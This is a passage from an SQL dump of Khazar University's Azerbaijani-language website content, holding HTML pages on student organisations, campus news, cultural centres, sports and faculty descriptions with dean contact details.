yazılar dərc etdirir</li></ul><p><strong>Kommunikasiya və informasiya departamenti</strong></p><ul><li>Universitetlə bağlı yenilikləri universitet ictimaiyyətinə çatdırır</li></ul><p><strong>İctimai əlaqələr departamenti&nbsp;</strong></p><ul><li>Xəzər Universiteti və tələbə məclisi haqqında məlumatları yayır</li><li>Orta məktəblər və digər universitetlərlə əlaqələr yaradır</li><li>Beynəlxalq kompaniya və təşkilatlarla əməkdaşlıq edir</li></ul><p><strong>Sponsor axtarışı departamenti&nbsp;</strong></p><ul><li>Nazirliklər, QHT, tələbə təşkilatları, beynəlxalq fondlarla birgə yeni layihələr təşkil edir və &nbsp;müəyyən münasibətlər qurur.&nbsp;</li></ul><p><strong>Məzunlarla əlaqələrin yaradılması departamenti&nbsp;</strong></p><ul><li>Məzunların uğurlarını izləmək və onların daimi olaraq universitetlə əlaqədə olmalarını təmin etmək məqsədi ilə Məzunlar Birliyi ilə birlikdə işləyir&nbsp;</li></ul><p><strong>Beynəlxalq tələbələr departamenti</strong>&nbsp;</p><ul><li>Xəzər Universitetində təhsil aldıqları zaman xarici tələbələrin universitet həyatına və ictimai həyata uyğunlaşmasına köməklik göstərir.</li></ul><p><strong>Debat klubu&nbsp;</strong></p><ul><li>Müxtəlif treyninq və debatlar təşkil edir.&nbsp;</li></ul>'),(2487,1505,'az','Xəzər Universitetinin əməkdaşı beynəlxalq tədbirdə çıxış etdi','2016-cı il oktyabrın 25-i və 26-da Birləşmiş Ərəb Əmirliyinin Şarjah Amerika Universitetində sülh yaratmaq və konfliktə qarşı idarəçilik sisteminin qurulması məqsədilə...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2016-cı il oktyabrın 25-i və 26-da\r\nBirləşmiş Ərəb Əmirliyinin Şarjah Amerika Universitetində sülh yaratmaq və\r\nkonfliktə qarşı idarəçilik sisteminin qurulması məqsədilə “Biznes Sülh Forumu-2016”\r\nadlı tədbir təşkil olunmuşdu. Tədbirə bu sahədə araşdırma aparan ali təhsil\r\nocaqlarının nümayəndələri, akademiklər, beynəlxalq təşkilatların nümayəndələri\r\nvə QHT-lər rəsmi dəvət olunmuşdular. Tədbirin missiyası sülh üçün çoxlu innovativ\r\nəməkdaşlıq imkanları əldə etmək, biznes sülh cəmiyyətini genişləndirmək və\r\ngücləndirməkdən ibarət idi. Həmçinin, konfransda sosial-iqtisadi yenidənqurma, siyasi\r\nçərçivə, razılaşma və ədalət, münaqişə üçün həssas davranış və s. adlı panellər\r\ntəşkil olunaraq, geniş müzakirələr aparılmışdır.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Xəzər Universitetinin əməkdaşı\r\nXəyalə Məmmədova Azərbaycanı tədbirdə uğurla təmsil etmişdir. Bundan başqa, o, Şarjah\r\nAmerika Universitetinin rəhbəri Dr.Bjorn Kjervelə və Dubay Universitetinin\r\nrəsmisi Dr. Yaprak Anadol ilə elmi inkişaf, elmi nəşrlar haqqında, elm və\r\nbiznes üçün önəmli olan elmi bazalar haqqında əməkdaşlıqla bağlı geniş\r\nmüzakirələr aparmışdır.</p>'),(2488,1506,'az','Şagirdlər zavodda oldular','2016-cı il oktyabrın 28-də Xəzər Universitetinin nəzdində fəaliyyət göstərən “Dünya” məktəbinin V sinif şagirdləri “Təmiz şəhər “ASC-nin Balaxanı Bərk Məişət Tullantılarının...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2016-cı il oktyabrın 28-də Xəzər\r\nUniversitetinin nəzdində fəaliyyət göstərən “Dünya” məktəbinin V sinif şagirdləri “Təmiz şəhər\r\n“ASC-nin Balaxanı Bərk Məişət Tullantılarının Çeşidlənməsi Zavodu və Bərk\r\nMəişət Tullantılarının Yandırılması Zavoduna ekskursiyaya getmişdilər . Səhmdar\r\nCəmiyyətin nümayəndəsi şagirdlərə Balaxanı Bərk Məişət Tullantılarının\r\nÇeşidlənməsi Zavodunun fəaliyyəti barədə ətraflı məlumat verərək, qeyd etdi ki,\r\nçeşidləmənin aparılması nəticəsində təkrar emal üçün yararlı olacaq kağız,\r\nşüşə, plastik, əlvan metal, dəmir və digər xammallar ayrılır ki, bu da\r\ntullantıların ümumi həcmini azaldır, ucuz xammal bazarı formalaşdırır, ölkədə\r\ntəkrar emal qurulmasına zəmin yaradır, enerjiyə qənaət olunur və ən önəmlisi,\r\ntullantıların ətraf mühitə mənfi təsirini azaldır. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Şagirdlərə çeşidləmə və yandırılma prosesləri əyani şəkildə göstərildi\r\nvə sonda şagirdləri maraqlandıran suallar cavablandırıldı.</p>'),(214,90,'az','Tələbə xidmətləri','Tələbə xidmətləri',''),(215,91,'az','Tələbələrə dəstək sistemi','Tələbələrə dəstək sistemi','<p>Ali məktəbdə təhsil alan tələbələrin əksəriyyəti həyat təcrübəsi az olan gənclərdir. Buna görə də, onların hərtərəfli dəstək və məsləhətlərə ehtiyacları var. Bu məqsədlə Xəzər Universitetində tələbələrə müxtəlif dəstək və yardım proqramları mövcuddur. Universitetdə təhsil və ümumilikdə həyatla bağlı müxtəlif sahələrdə tələbələrə kömək məqsədi ilə Tələbələrə Dəstək Sistemi yaradılmışdır.</p><p>Tələbələrə dəstək sisteminin əsas məqsədi müxtəlif yollarla karyeranın inkişaf etdirilməsi, hüququn tənzimlənməsi, məsləhət, psixoloji dəstək və tələbələrə xüsusi qayğı göstərməkdir.</p><p>Universitetə yeni qəbul olan tələbələrə kampus və universitet şəraitinə uyğunlaşmaq üçün faydalı məlumatlarla zəngin məlumat kitabçası təqdim edilir.</p>'),(216,92,'az','Tələbə təşkilatları','Tələbə təşkilatları','<div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></div><address><p><span style=\"font-style:normal\">Xəzər universitetində müxtəlif tələbə təşkilatları və &nbsp;klubları fəaliyyət göstərir.</span></p><p><span style=\"font-style:normal\">Hər-hansı bir tələbə təşkilatı fəaliyyətə başlamaq üşün öz nizamnaməsini Universitet Şurasına təqdim etməli və qeydiyyatdan keçməlidir.</span></p><p><span style=\"font-style:normal\">Universitetdə bir sıra tələbə təşkilatları ilə yanaşı müxtəlif ölkələrdən olan tələbələrin tələbə təşkilatları və müxtəlif maraqlar çərçivəsində klub və dərnəklər fəaliyyət göstərir. O cümlədən, yumor klubu, rəqs dərnəyi, xarici dil araşdırmaları klubu kimi bir sıra klublar və qruplar mövcuddur.</span></p><p><span style=\"font-style:normal\">Tələbə təşkilatlarının bəziləri əhalinin ehtiyacı olan təbəqəsinə, yaşlı və əlil insanlara yardım etmək üçün yaradılan könüllü təşkilatlardır.</span></p><p><span style=\"font-style:normal\">Xəzər Universiteti klub və peşə yönümlü tələbə təşkilatları vasitəsilə tələbələrdə öz peşələrinə olan marağın artmasını da aşılayır. Məsələn, universitetdə Neft Mühəndisləri Cəmiyyətinin tələbə bölməsi və digər peşə yönümlü tələbə təşkilatları uğurla fəaliyyət göstərir.</span></p>  </address><p><strong>&nbsp;Tələbə Məclisi</strong></p><p><strong></strong>Tələbə Məclisi Xəzər Universitetinin əsas tələbə təşkilatıdır. Bu təşkilat Tələbə Məclisi Prezidenti, Vitse-prezident və digər lider tələbə-şəxsiyyətlərdən təşkil olunmuş Tələbə Senatı tərəfindən öz nizamnaməsi əsasında idarə edilir. Tələbə Məclisi öz fəaliyyətini müxtəlif departamentlər üzrə qurmuşdur:</p><p></p><p>&nbsp;<strong>Təhsil departamenti</strong></p><div style=\"font-size:medium\"><p></p><ul><li>Tələbələrin təhsil aldıqları müddətdə meydana çıxan hər cür problemlərini həll etməyə kömək edir</li><li>Tələbələrlə fakultə və işçi heyət arasında görüşlər keçirir</li><li>&nbsp;Müxtəlif maraq klubları təşkil edir</li><li>&nbsp;Tələbə sorğusunun keçirilməsi prosesinə kömək edir</li></ul><p></p></div><p><strong>Mədəniyyət departamenti&nbsp;</strong></p><div style=\"font-size:medium\"><ul><li>Azərbaycan mədəniyyətini yerli və beynəlxalq tələbələr arasında təbliğ edir və digər milli mədəniyyətlər haqqında məlumat verir</li><li>Universitetin mahnı və rəqs ansambıllarının konsert və təqdimatlarına dəstək göstərir</li></ul></div><p><strong>İdman departamenti&nbsp;</strong></p><div style=\"font-size:medium\"><p></p><ul><li>Universitet tələbələrini müxtəlif idman növləri üzrə yarışlarda iştirak etməyə həvəsləndirir</li><li>Yerli çempionat və turnirlər təşkil edir</li></ul><p></p></div><p><strong>Hüquq departamenti&nbsp;</strong></p><div style=\"font-size:medium\"><p></p><ul><li>Tələbə Məclisinin rəsmi sənədlərini hazırlayır və onların hüquqi baxımdan düzgün tətbiqinə nəzarət edir</li><li>Universitet tələbələrinin hüquqlarının qorunmasına nəzarət edir</li></ul><p></p></div><p><strong>Tələbələrin mətbuat departamenti&nbsp;</strong></p><div style=\"font-size:medium\"><p></p><ul><li>Xəzər Xəbər jurnalı üçün müxtəlif məqalə və xəbərlər hazırlayır</li><li>Universitetdə həyata keçirilən maraqlı tədbirlər haqqında yazılar dərc etdirir</li></ul><p></p></div><div style=\"font-size:medium\"><br></div><p><strong>Kommunikasiya və informasiya departamenti</strong></p><div style=\"font-size:medium\"><ul><li><p>Universitetlə bağlı yenilikləri universitet ictimaiyyətinə çatdırır</p></li></ul></div><div style=\"font-size:medium\"><br></div><p><strong>İctimai əlaqələr departamenti&nbsp;</strong></p><div style=\"font-size:medium\"><p></p><ul><li>Xəzər universiteti və tələbə məclisi haqqında məlumatları yayır</li><li>Orta məktəblər və digər universitetlərlə əlaqələr yaradır</li><li>Beynəlxalq kompaniya və təşkilatlarla əməkdaşlıq edir</li></ul><p></p></div><div style=\"font-size:medium\"><br></div><p><strong>Sponsor axtarışı departamenti&nbsp;</strong></p><div style=\"font-size:medium\"><ul><li><p>Nazirliklər, QHT, tələbə təşkilatları, beynəlxalq fondlarla birgə yeni layihələr təşkil edir və &nbsp;müəyyən münasibətlər qurur.&nbsp;</p></li></ul></div><div style=\"font-size:medium\"><br></div><p><strong>Məzunlarla əlaqələrin yaradılması departamenti&nbsp;</strong></p><div style=\"font-size:medium\"><ul><li><p>Məzunların uğurlarını izləmək və onların daimi olaraq universitetlə əlaqədə olmalarını təmin etmək məqsədi ilə Məzunlar Birliyi ilə birlikdə işləyir&nbsp;</p></li></ul></div><div style=\"font-size:medium\"><br></div><p><strong>Beynəlxalq tələbələr departamenti&nbsp;</strong></p><div style=\"font-size:medium\"><ul><li><p>Xəzər Universitetində təhsil aldıqları zaman xarici tələbələrin universitet həyatına və ictimai həyata uyğunlaşmasına köməklik göstərir.</p></li></ul></div><div style=\"font-size:medium\"><br></div><p><strong>Debat klubu&nbsp;</strong></p><div style=\"font-size:medium\"><ul><li><p>Müxtəlif treyninq və debatlar təşkil edir.&nbsp;</p></li></ul></div>  <br><p></p>'),(217,94,'az','Mədəni fəaliyyət','Mədəni fəaliyyət','<p>Universitetdə mədəni həyatın inkişafı həmişə diqqət mərkəzində olmuşdur. Xəzərin tələbə və müəllimlərdən ibarət iki mahnı və rəqs ansamblı Azərbaycanda və bir çox xarici ölkələrdə, o cümlədən Türkiyədə təşkil olunan bir çox musiqi festivallarında uğurla iştirak etmiş, bir sıra yarışların qalibi olmuşlar.</p><p>Xəzər Universiteti ansamblı Qafqaz və Türk xalqları da daxil olmaqla, dünyanın bir çox xalqlarının milli rəqs və mahnılarını ifa edir.</p><p>Universitetdə 285 yerlik «Dünya Konsert salonu» mövcuddur. Burada universitetin müxtəlif tədbirləri, klassiklərimizin və müasir sənət adamlarımızın həyat və yaradıcılıqlarına həsr olunmuş yaddaqalan elmi toplantılar, görkəmli elm, ədəbiyyat və incəsənət xadimlərinin iştirakı ilə keçirilmiş görüşlər, muğam və klassik musiqi gecələri, eləcə də yerli və beynəlxalq konfranslar və.s tədbirlər keçirilir.</p>'),(218,95,'az','Milli geyimlər mərkəzi','Milli geyimlər mərkəzi','<p>Bu &nbsp;mərkəzdə Azərbaycanın milli geyimləri toplanıb. Bütün bu geyimləri tələ­bələr özləri “Milli Geyimlər üçün Tikiş Dərnəyi”ndə düzəldirlər.</p><p>Mərkəzdə &nbsp;tolpanan və saxlanılan Qafqaz və başqa regionların əhali və xalqları­nın milli geyimləri, Xəzər Universiteti oğlan və qızlardan ibarət rəqs&nbsp;ansamblının müxtəlif xalqların rəqslərinin daha canlı, dolğun və təbii yerinə yetirmələrinə kömək edir.</p>'),(219,96,'az','Xalça muzeyi','Xalça muzeyi','<p>Azərbaycan qədim zamanlardan bəri dünya xalçaçılıq mərkəzlərindən biri olmuşdur. Mütəxəssislər Azərbaycanda <a href=\"http://az.wikipedia.org/wiki/Quba_xal%C3%A7a%C3%A7%C4%B1l%C4%B1q_m%C9%99kt%C9%99bi\">Quba</a>-<a href=\"http://az.wikipedia.org/wiki/%C5%9Eirvan_xal%C3%A7a%C3%A7%C4%B1l%C4%B1q_m%C9%99kt%C9%99bi\">Şirvan</a>, <a href=\"http://az.wikipedia.org/wiki/Qaraba%C4%9F_xal%C3%A7a%C3%A7%C4%B1l%C4%B1q_m%C9%99kt%C9%99bi\">Qarabağ</a>, <a href=\"http://az.wikipedia.org/wiki/T%C9%99briz_xal%C3%A7a%C3%A7%C4%B1l%C4%B1q_m%C9%99kt%C9%99bi\">Təbriz</a> və <a href=\"http://az.wikipedia.org/wiki/G%C9%99nc%C9%99_xal%C3%A7a%C3%A7%C4%B1l%C4%B1q_m%C9%99kt%C9%99bi\">Gəncə</a>-<a href=\"http://az.wikipedia.org/wiki/Qazax_xal%C3%A7a%C3%A7%C4%B1l%C4%B1q_m%C9%99kt%C9%99bi\">Qazax</a> kimi dörd əsas xalçaçılıq məktəbini qeyd edirlər.</p><address><p><span style=\"font-style:normal\">Xəzər Universitetinin Xalça Müzeyi həm muzey, həm də emalatxana kimi fəaliyyət göstərir. Peşəkar sənətkarların başçılıq etdiyi muzey və emalatxanada toplanan kiçik və böyük ölçülü xalça və başqa toxunma əşyalar əsasən tələbələr tərəfindən hazırlanmışdır.</span></p><p><span style=\"font-style:normal\">Müzey və emalatxana incəsənət üzrə seçmə fənn götürərək kredit qazanmaq istəyən tələbələrin istifadəsi üçün də açıqdır.</span></p><p><span style=\"font-style:normal\">Burada emalatxana işlərinə peşəkar rəssam rəhbərlik edir.</span></p></address>'),(220,97,'az','Zərgərlik','Zərgərlik','<p>Xəzər Universiteti nəzdində zərgərlik mərkəzi fəaliyyət göstərir. Mərkəz 2007-ci ildə yaradılmışdır.</p><p>Xəzər Universiteti zərgərlik mərkəzi həm də kredit qazanmaq məqsədi ilə zərgərlik sənətini seçmə kurs kimi götürən&nbsp;tələbələr üçün emalatxanadır. Burada daha çox gümüş üzərində iş aparılır.</p><p>Xəzər Universiteti zərgərlik mərkəzində emalatxana işlərinə peşəkar zərgər rəhbərlik edir.</p>'),(221,98,'az','İdman','İdman','<p>Universitetin həyatında idman böyük rol oynayır. Universitetdə tələbələrdən ibarət futbol, voleybol, basketbol, şahmat klubu və müxtəlif döyüş növləri üzrə idman bölmələri fəaliyyət gös­tərir.&nbsp;</p><p>Xəzərdə fəaliyyət göstərən şahmat klubunda Azərbaycanın və dünya şahmatının tanınmış nümayəndələrinin iştirakı ilə bir sıra görüşlər və tədbirlər keçirilmişdir. Kluba Azərbaycanın tanınmış şahmat ustası Afaq Xudaverdiyeva rəhbərlik edir.&nbsp;</p><p>Universitetin “Xəzər Universitet” futbol klubu 1998-2004-cü illərdə ölkənin futbol üzrə güclülər dəstəsində (indiki premyer liqa) çıxış etmiş, 2004-cü ildə İntertoto Avropa kuboku yarışına vəsiqə qazanmışdır.&nbsp;</p><p>Bir sıra tələbələrimiz idmanın müxtəlif komanda növləri üzrə və ayrı-ayrılıqda yerli və beynəlxalq yarışların, o cümlədən avropa və dünya çempionatlarının iştirakçısı və qalibləri olmuşlar.&nbsp;</p><p>Universitetin kişi və qadınlardan ibarət basketbol komandaları Azərbaycanda, İranda, Gürcüstanda, Rusiyada və başqa ölkələrdə keçirilmiş müxtəlif beynəlxalq yarışlarda iştirak etmiş, uğurlar qazanmışlar.</p>'),(222,16,'az','Fakültələr','Fakültələr','<p><strong><a href=\"http://www.khazar.org/az/menus/47/muhendislik_ve_tetbiqi_elmler_fakultesi\">Mühəndislik və Tətbiqi Elmlər Fakültəsi</a>  </strong></p><p><strong><a href=\"http://www.khazar.org/az/menus/54/iqtisadiyyat_ve_menecment_fakultesi\">İqtisadiyyat və Menecment Fakültəsi</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/az/menus/56/humanitar_ve_sosial_elmler_fakultesi\">Humanitar və Sosial Elmlər Fakültəsi</a></strong></p><p><strong><a href=\"http://www.khazar.org/az/menus/55/tehsil_fakultesi\">Təhsil Fakültəsi</a></strong><br></p>'),(223,55,'az','Mühəndislik və Tətbiqi Elmlər Fakültəsi','Mühəndislik və Tətbiqi Elmlər Fakültəsi','<h3><a href=\"http://www.khazar.org/az/menus/175/dekanliq\" style=\"font-size:large\"><strong style=\"color:#993333\">Dekanlıq</strong></a></h3><div><p><strong>Dr. Hassan&nbsp;Niknafs</strong>,&nbsp;Mühəndislik və Tətbiqi Elmlər Fakültəsinin dekanı</p><h3><strong><span style=\"text-decoration:underline\">Akademik Departamentlər</span></strong></h3><p><strong><a href=\"http://www.khazar.org/az/menus/136/neft_muhendisliyi\">Neft mühəndisliyi</a>&nbsp;  <br></strong></p><p><strong><a href=\"http://www.khazar.org/az/menus/123/komputer_elmleri\">Kompüter elmləri</a>&nbsp;</strong><strong><a href=\"http://www.khazar.org/az/menus/123/komputer_elmleri\">və Kompüter mühəndisliyi</a></strong></p><p><strong><a href=\"http://www.khazar.org/az/menus/128/elektronika_ve_telekommunikasiya\">Elektronika, telekommunikasiya və radiotexnika mühəndisliyi</a>&nbsp; &nbsp;<br></strong></p><p><strong><a href=\"http://www.khazar.org/az/menus/133/riyaziyyat\">Riyaziyyat</a>&nbsp;  <br></strong></p><p><strong><a href=\"http://www.khazar.org/az/menus/121/inshaat_muhendisliyi\">İnşaat mühəndisliyi</a>&nbsp;&nbsp;</strong></p><p><a href=\"http://www.khazar.org/az/menus/122/kimya_muhendisliyi_ve_kimya\"><strong>Kimya mühəndisliyi\r\nvə Kimya</strong></a></p><p><strong><a href=\"http://www.khazar.org/az/menus/305/muellim_heyeti\">Biotibbi mühəndislik</a>&nbsp;&nbsp;</strong></p><p><strong><strong><a href=\"http://www.khazar.org/az/menus/1105/mechanical_engineering\">Mexanika mühəndisliyi</a></strong><br></strong></p></div>'),(2186,1339,'az','“Məhəmməd Əmin Rəsulzadə əsərləri (mühacirət dövrü: Türkiyə, 1922-1929)” kitabının çapa hazırlanması','Tarix və arxeologiya departamentinin müəllimi Nəsiman Yaqublu “Məhəmməd Əmin Rəsulzadə əsərləri (mühacirət dövrü: Türkiyə, 1922-1929)” kitabını çapa hazırlamışdır...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Tarix və arxeologiya departamentinin müəllimi Nəsiman Yaqublu “Məhəmməd\r\nƏmin Rəsulzadə əsərləri (mühacirət dövrü: Türkiyə, 1922-1929)” kitabını çapa\r\nhazırlamışdır. Oxuculara təqdim olunan bu kitabda müəllifin 1920-ci illərdə\r\nyazdığı əsərlər toplanmışdır. Kitabda Azərbaycanın tarixi, müstəqillik mübarizəsi,\r\n1918-1920-ci ildə mövcud olmuş Azərbaycan Xalq Cümhuriyyəti haqqında geniş məlumatlar\r\nvardır. Eyni zamanda, müəllif bu əsərlərində sovet rejiminin işğalçı mahiyyətini,\r\nxalqları əsarətdə saxlayan, onları azadlıqdan məhrum edən siyasətini kəskin tənqid\r\nedir. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Kitabdan Azərbaycan və XX əsr tarixini araşdıran tədqiqatçılar, siyasətçilər,\r\ndiplomatlar, mətbuat təmsilçiləri ciddi faydalana bilərlər.</p>'),(224,64,'az','İqtisadiyyat və Menecment Fakültəsi','İqtisadiyyat və Menecment Fakültəsi','<h3>Ümumi məlumat</h3><p style=\"text-align:justify\">Əsası 1991-ci ildə qoyulan İqtisadiyyat və Menecment fakültəsi Azərbaycanda ən aparıcı işgüzar fakültəyə çevrilmiş, tədris proqramlarının və dərslərinin hazırlanıb təqdim edilməsindəki keyfiyyət və yenilikçi təşəbbüsünə görə beynəlxalq nüfuz qazanmışdır. Fakültə Azərbaycanda regional tələblərə uyğun açıq Qərb təlim sisteminin tətbiqi və inkişafında birinci olmuşdur. İqtisadiyyat və Menecment fakültəsi ali təhsilin bakalavr, magistratura və doktorantura pillələri üzrə proqramlar təklif edir.  <br></p><p style=\"text-align:justify\">Özünün peşəkar\r\nprofessor-müəllim heyətinə malik fakültənin əsas missiyası İqtisadiyyat, Beynəlxalq\r\nİqtisadiyyat, Marketinq, Maliyyə, Mühasibat, Menecment, Beynəlxalq Biznes və\r\ndigər sahələrdə inkişafa meylli, milli və beynəlxalq işgüzar mühitdə uğurla\r\nçıxış edəcək mütəxəssislər hazırlamaqdır.</p><p style=\"text-align:justify\">\r\nFakültənin tam ali təhsil proqramları isə xüsusilə\r\nuğurlu və təcrübəli iş adamlarının akademik tələblərinə uyğun və eləcə də iş həyatında\r\nilk addımlarını atan tələbələr üçün biznes və idarəetmə anlayışları haqqında ətraflı\r\nməlumatla təmin etməyi nəzərdə tutmuşdur.</p>  <p style=\"text-align:justify\"><strong style=\"font-size:large\"><br></strong></p><h3 style=\"text-align:justify\"><strong>Əsaslandırılması və məqsədləri&nbsp;</strong></h3><p style=\"text-align:justify\"><strong></strong>Müasir bazar sektorunu uğurla idarə etmək üçün müxtəlif iş bacarığı və ixtisası olan iqtisadiyyat mütəxəssisləri tələb olunur. İqtisadiyyat və Menecment fakültəsi iqtisadiyyat və biznesin müxtəlif sahələrinin tədrisini və tədqiqatını həyata keçirir. Fakültə yerli biznes cəmiyyəti, beynəlxalq təşkilatlar və maliyyə institutları ilə çox sıx əlaqə saxlayır.&nbsp;<br><br></p><p style=\"text-align:justify\">Fakültənin məqsədləri bunlardır:</p><ul><li>təhsil&nbsp;platforması yaratmaq hansi ki, bununla məzunlar biznes və sosial imkanlar qura bilərlər</li><li>artım və inkişafı ömür boyu davam etdirmək</li><li>bir sıra&nbsp;geniş peşə sahələrində&nbsp; karyera imkanları təmin etmək</li><li>həm özəl,&nbsp;həm də ictimai sektora müraciət etmək üçün idarəetmə proseslərini ümumi anlayışla təmin etmək.</li></ul>'),(225,65,'az','Təhsil Fakültəsi','Təhsil Fakültəsi','<h3><strong>Missiyası</strong></h3><p style=\"font-size:medium\">Ənənəvi olaraq, Azərbaycan xalqının təhsilə marağı yüksəkdir. Sovet dövründə Azərbaycanda təhsilin yüksək səviyyədə olmasına baxmayaraq, Sovet sisteminin dağılması və sürətlə dəyişən mühitin tələblərinə uyğun olaraq təhsilin müxtəlif pillələrində -&nbsp;məktəbəqədər, ibtidai məktəb, orta məktəb, peşə məktəbi və ikiillik texniki kollec, habelə tam bakalavr və magistr təhsilində&nbsp;yeni yanaşmalara və təhsilin inkişafı üçün yaxşı hazırlanmış strategiyalara tələb artırdı.</p><p style=\"font-size:medium\">Elmi bilik, peşəkar təlim və təcrübə toplusu müəllim, pedaqoq, alim və yöneticilərin yetişdirilməsinə dair &nbsp;bütün proqramların əsasını təşkil edir. Təhsil fakültəsinin &nbsp;əsas məqsədləri &nbsp;təhsilin müxtəlif sahələrində tədqiqat aparmaq üçün təhsil siyasəti və strategiyası hazırlamaq, təhsil, humanitar elmləri üzrə savadlı müəllimlər yetiştirmək və onları qabaqcıl bilik və müasir tədris metodları ilə təmin etməkdir. Bilik və bacarıqların ötürülməsinə xüsusi diqqət verilir ki, bu da tələbələrimizə milli dəyər və ənənələrimizi &nbsp; onların gələcək tədris, elmi-tədqiqat və insanın inkişaf fəaliyyətinin ümumbəşəri dəyər və normaları ilə birləşdirməyə imkan verəcək.</p><p style=\"font-size:medium\">Təhsil fakültəsi&nbsp; təhsillə bağlı müxtəlif tədqiqat və fəaliyyətlə məşğul olur və bununla əlaqədar Təhsil Nazirliyi və bəzi özəl təhsil müəssisələri ilə əməkdaşlıq edir. Fakültə həmçinin&nbsp; təhsil, insan inkişafı habelə digər təhsil xidmətləri sahəsində mütəxəssislər üçün ixtisasartırma təklif edir.</p><p style=\"font-size:medium\">Hal-hazırda fakültənin &nbsp;əsas məqsədi hər təhsil pilləsinə uyğun&nbsp; ixtisaaslı müəllim və pedaqoqlar yetişdirməkdir.</p><p style=\"font-size:medium\">Fakültənin təklif etdiyi nəzəri, habelə tətbiqi fənlər &nbsp;son elmi nailiyyət və texnoloji inkişaf ilə daim maraqlanan və &nbsp;bu inkişafı öz tədris fəaliyyətlərinə tətbiq etmək qabiliyyəti və həvəsi olan perspektivli müəllimlərə &nbsp; peşəkar olmaq imkani verir.</p><p><br></p><h3>Əlaqə</h3><p><strong><a href=\"http://www.khazar.org/files/CV.%20Elza_Semedli.pdf\"><img src=\"/files/azelang_depart/elza_s.jpg\" style=\"width:150px;height:175px;margin:7px;float:left\"></a></strong><strong><a href=\"http://www.khazar.org/files/education/CV/elza_semedli_cv.pdf\">Elza Səmədova</a></strong></p><p><strong><strong>Ph.D</strong> <strong>Dekan</strong></strong></p><p><strong>Telefon:&nbsp;</strong>(+994&nbsp;12) 421 10 93 (253)  </p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:esemedova@khazar.org\">esemedova[at]khazar.org</a>  </p><p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/CV%20Aygun_Verdiyeva.pdf\">Aygün Verdiyeva</a></strong><strong><img src=\"/files/pdf/14_10_30_Aygun_Verdiyeva.jpg\" style=\"width:150px;height:214px;margin:7px;float:left\"></strong></p><p><strong><a href=\"http://www.khazar.org/files/CV%20Aygun_Verdiyeva.pdf\"></a><strong>Dekan müavini</strong></strong></p><p><strong>Telefon:&nbsp;</strong>(+994&nbsp;12) 421 10 93 (233)</p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:averdiyeva@khazar.org\">averdiyeva[at]khazar.org</a>  <a href=\"mailto:zaliyeva@khazar.org\"></a></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><strong><img src=\"/files/education/images/sayad_aslanli.jpg\" style=\"width:150px;height:150px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><a href=\"http://www.khazar.org/files/education/CV-Sayad_Aslanli.pdf\">Sayad Aslanlı</a></strong></strong></p><p><strong><strong>Dekan assistenti</strong></strong></p><p><span style=\"font-weight:bold\">E-mail:&nbsp;</span><a href=\"mailto:saslanli@khazar.org\">saslanli[at]khazar.org</a></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><img src=\"/files/education/images/nizami_aliyev.jpg\" style=\"width:150px;height:150px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><a href=\"http://www.khazar.org/files/education/CV/CV-Europass-20181018-Aliyev-EN.pdf\">Nizami Əliyev</a></strong></p><p><strong><strong>Dekan assistenti</strong></strong></p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:naliyev@khazar.org\">naliyev[at]khazar.org</a><br></p>'),(226,66,'az','Humanitar və Sosial elmlər fakültəsi','Humanitar və Sosial elmlər fakültəsi','<h3 style=\"text-align:justify\"><strong></strong></h3><p><strong>Yaranma tarixi:</strong></p>\r\n<p style=\"text-align:justify\">Humanitar və\r\nSosial elmlər fakültəsi Xəzər Universitəsində yaradılan ilk fakültələrdən\r\nbiridir. Belə ki, Universitetimizin əsası 1991-ci ildə qoyulmuş, bir il sonra\r\nisə Humanitar fakültəsinin yaradılması ilə bağlı qərar qəbul edilmişdir. Beləliklə,\r\n1992-ci ildən fəaliyyət göstərən fakültədə əsas istiqamət humanitar elmlər sahəsində\r\ngənc və peşəkar mütəxəssisər yetişdirməkdən ibarət idi. Böyük ümidlər bəslənən\r\nfakültənin nəzdində ilk olaraq iki departament (kafedra), İngilis dili və ədəbiyyatı\r\ndepartamenti və Jurnalistika departamenti fəaliyyət göstərirdi. </p>\r\n<p style=\"text-align:justify\">2004-cü ildə\r\no zaman hələ fəaliyyətdə olan Hüquq və Sosial elmlər fakültəsi nəzdindəki bir\r\nsıra departamentlərin də Humanitar fakültəsinə qatılması haqqında qərar qəbul\r\nedildi və nəticədə, 2005-ci ildə fakültənin adı Humanitar və Sosial elmlər\r\nfakültəsi olaraq müəyyənləşdirildi. </p>\r\n<p><strong>Missiyamız:</strong></p>\r\n<p style=\"text-align:justify\">Azərbaycançılıq\r\nideyalarına sadiq olan fakültəmizin əsas missiyası milli əqidəli və Avropa təfəkkürlü\r\nvətəndaşlar yetişdirməkdən ibarətdir. Bu səbəbdən, fəaliyyətimizi qabaqcıl\r\nAvropa universitetlərinin təcrübəsindən, eləcə də müasir tədris metodlarından\r\nistifadə etməklə, çağdaş tələblərə cavab verən və eyni zamanda milli dəyərlərə\r\nsadiq mütəxəssislər hazırlamaq istiqamətində qurmuşuq. </p>\r\n<p style=\"text-align:justify\">Hal hazırda\r\nHumanitar və Sosial elmlər fakültəsi Xəzər Universitetində <strong>bakalavriat</strong> pilləsində 7 və <strong>magistratura</strong>\r\npilləsində 9 ixtisas üzrə təhsil verən ən böyük fakültələrdən biridir.<strong></strong></p>\r\n<p><strong>&nbsp;</strong><strong>İxtisaslar:</strong></p>\r\n<table 